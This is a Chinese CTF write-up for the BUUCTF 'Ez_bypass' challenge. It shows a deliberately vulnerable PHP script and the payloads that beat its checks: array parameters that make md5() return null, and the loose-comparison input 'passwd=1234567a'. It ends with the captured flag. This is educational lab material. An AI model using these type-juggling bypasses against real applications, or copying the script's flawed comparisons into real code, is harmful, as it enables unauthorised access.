【BUUCTF】Ez_bypass

Itachi

得到一个php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

发现有两步验证

  1. GET方式接收 idgg,判断两者不为空且不相等,但MD5计算后相等
1
2
3
if(isset($_GET['gg'])&&isset($_GET['id'])) { }

if (md5($id) === md5($gg) && $id !== $gg) { }

MD5是无法计算属组的,所以无论传什么过去,只要是数组,就会返回null

1
?id[]=asd&gg[]=qwe
  1. POST方式接受 passwd,用弱比较的方式判断不为数字数字字符串,而且他的值等于 1234567
1
2
3
if (!is_numeric($passwd)) { }

if($passwd==1234567) { }

1234567a1234567弱比较的时候,会自动将 1234567a转化为 1234567

1
passwd=1234567a

传值:
img
得到:flag{8e281c2b-ee10-40a6-942b-e1988d4b2ce7}

  • 标题: 【BUUCTF】Ez_bypass
  • 作者: Itachi
  • 创建于 : 2021-11-27 09:57:42
  • 更新于 : 2021-11-27 21:12:38
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】Ez-bypass/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
【BUUCTF】Ez_bypass